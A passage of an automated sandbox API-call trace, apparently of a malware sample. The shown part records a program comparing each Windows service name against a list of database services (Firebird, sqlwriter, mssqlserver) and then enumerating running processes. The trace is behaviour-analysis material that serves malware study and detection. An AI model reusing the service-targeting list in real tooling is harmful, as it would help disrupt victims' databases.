lpString2="Dnscache") returned 1 [0123.588] lstrlenW (lpString="DPS") returned 3 [0123.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0123.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0123.588] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0123.588] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0123.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0123.588] lstrlenW (lpString="eventlog") returned 8 [0123.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0123.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0123.589] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0123.589] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0123.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0123.589] lstrlenW (lpString="EventSystem") returned 11 [0123.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0123.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0123.589] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0123.589] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0123.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0123.589] lstrlenW (lpString="FontCache") returned 9 [0123.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0123.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0123.589] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0123.589] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0123.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0123.589] lstrlenW (lpString="gpsvc") returned 5 [0123.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0123.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0123.590] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0123.590] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0123.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0123.590] lstrlenW (lpString="iphlpsvc") returned 8 [0123.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0123.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0123.590] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0123.590] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0123.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0123.590] lstrlenW (lpString="LanmanServer") returned 12 [0123.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0123.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0123.590] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0123.590] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0123.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0123.590] lstrlenW (lpString="LanmanWorkstation") returned 17 [0123.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0123.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0123.590] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0123.590] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0123.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0123.590] lstrlenW (lpString="lmhosts") returned 7 [0123.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0123.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0123.590] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0123.590] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0123.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0123.590] lstrlenW (lpString="MMCSS") returned 5 [0123.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0123.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0123.591] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0123.591] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0123.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0123.591] lstrlenW (lpString="MpsSvc") returned 6 [0123.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0123.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0123.591] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0123.591] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0123.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0123.591] lstrlenW (lpString="Netman") returned 6 [0123.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0123.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0123.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0123.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0123.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0123.591] lstrlenW (lpString="netprofm") returned 8 [0123.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0123.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0123.591] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0123.591] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0123.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0123.591] lstrlenW (lpString="NlaSvc") returned 6 [0123.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0123.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0123.591] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0123.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0123.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0123.591] lstrlenW (lpString="nsi") returned 3 [0123.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0123.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0123.591] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0123.591] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0123.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0123.592] lstrlenW (lpString="PcaSvc") returned 6 [0123.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0123.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0123.592] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0123.592] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0123.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0123.592] lstrlenW (lpString="PlugPlay") returned 8 [0123.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0123.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0123.592] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0123.592] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0123.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0123.592] lstrlenW (lpString="Power") returned 5 [0123.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0123.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0123.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0123.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0123.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0123.592] lstrlenW (lpString="ProfSvc") returned 7 [0123.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0123.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0123.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0123.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0123.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0123.592] lstrlenW (lpString="RpcEptMapper") returned 12 [0123.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0123.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0123.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0123.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0123.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0123.592] lstrlenW (lpString="RpcSs") returned 5 [0123.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0123.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0123.593] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0123.593] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0123.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0123.593] lstrlenW (lpString="SamSs") returned 5 [0123.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0123.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0123.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0123.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0123.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0123.593] lstrlenW (lpString="Schedule") returned 8 [0123.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0123.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0123.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0123.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0123.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0123.593] lstrlenW (lpString="SENS") returned 4 [0123.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0123.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0123.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0123.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0123.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0123.593] lstrlenW (lpString="ShellHWDetection") returned 16 [0123.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0123.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0123.593] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0123.593] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0123.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0123.593] lstrlenW (lpString="Spooler") returned 7 [0123.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0123.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0123.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0123.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0123.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0123.594] lstrlenW (lpString="sppsvc") returned 6 [0123.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0123.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0123.594] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0123.594] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0123.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0123.594] lstrlenW (lpString="swprv") returned 5 [0123.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0123.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0123.594] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0123.594] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0123.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0123.594] lstrlenW (lpString="SysMain") returned 7 [0123.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0123.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0123.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0123.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0123.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0123.594] lstrlenW (lpString="Themes") returned 6 [0123.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0123.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0123.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0123.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0123.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0123.594] lstrlenW (lpString="TrkWks") returned 6 [0123.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0123.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0123.594] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0123.594] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0123.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0123.594] lstrlenW (lpString="UxSms") returned 5 [0123.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0123.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0123.595] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0123.595] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0123.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0123.595] lstrlenW (lpString="VSS") returned 3 [0123.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0123.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0123.595] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0123.595] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0123.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0123.595] lstrlenW (lpString="W32Time") returned 7 [0123.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0123.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0123.595] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0123.595] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0123.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0123.595] lstrlenW (lpString="WdiServiceHost") returned 14 [0123.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0123.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0123.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0123.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0123.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0123.595] lstrlenW (lpString="WdiSystemHost") returned 13 [0123.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0123.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0123.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0123.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0123.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0123.595] lstrlenW (lpString="WinDefend") returned 9 [0123.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0123.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0123.595] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0123.595] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0123.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0123.596] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0123.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0123.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0123.596] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0123.596] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0123.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0123.596] lstrlenW (lpString="Winmgmt") returned 7 [0123.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0123.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0123.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0123.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0123.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0123.596] lstrlenW (lpString="wscsvc") returned 6 [0123.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0123.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0123.596] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0123.596] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0123.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0123.596] lstrlenW (lpString="wuauserv") returned 8 [0123.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0123.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0123.596] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0123.596] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0123.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0123.599] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.600] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.601] lstrlenW (lpString="System") returned 6 [0123.601] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.601] lstrlenW (lpString="smss.exe") returned 8 [0123.602] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.602] lstrlenW (lpString="csrss.exe") returned 9 [0123.603] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.603] lstrlenW (lpString="wininit.exe") returned 11 [0123.603] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.604] lstrlenW (lpString="csrss.exe") returned 9 [0123.605] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.605] lstrlenW (lpString="winlogon.exe") returned 12 [0123.605] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.606] lstrlenW (lpString="services.exe") returned 12 [0123.606] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.607] lstrlenW (lpString="lsass.exe") returned 9 [0123.607] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.608] lstrlenW (lpString="lsm.exe") returned 7 [0123.608] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.609] lstrlenW (lpString="svchost.exe") returned 11 [0123.609] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.610] lstrlenW (lpString="svchost.exe") returned 11 [0123.610] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.611] lstrlenW (lpString="svchost.exe") returned 11 [0123.611] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.612] lstrlenW (lpString="svchost.exe") returned 11 [0123.612] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.613] lstrlenW (lpString="svchost.exe") returned 11 [0123.613] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.614] lstrlenW (lpString="audiodg.exe") returned 11 [0123.614] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.614] lstrlenW (lpString="svchost.exe") returned 11 [0123.615] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.615] lstrlenW (lpString="svchost.exe") returned 11 [0123.615] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.616] lstrlenW (lpString="dwm.exe") returned 7 [0123.616] Process32NextW (in: hSnapshot=0x1cc, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.617] lstrlenW (lpString="explorer.exe") returned 12 [0123.617] Process32NextW (in: 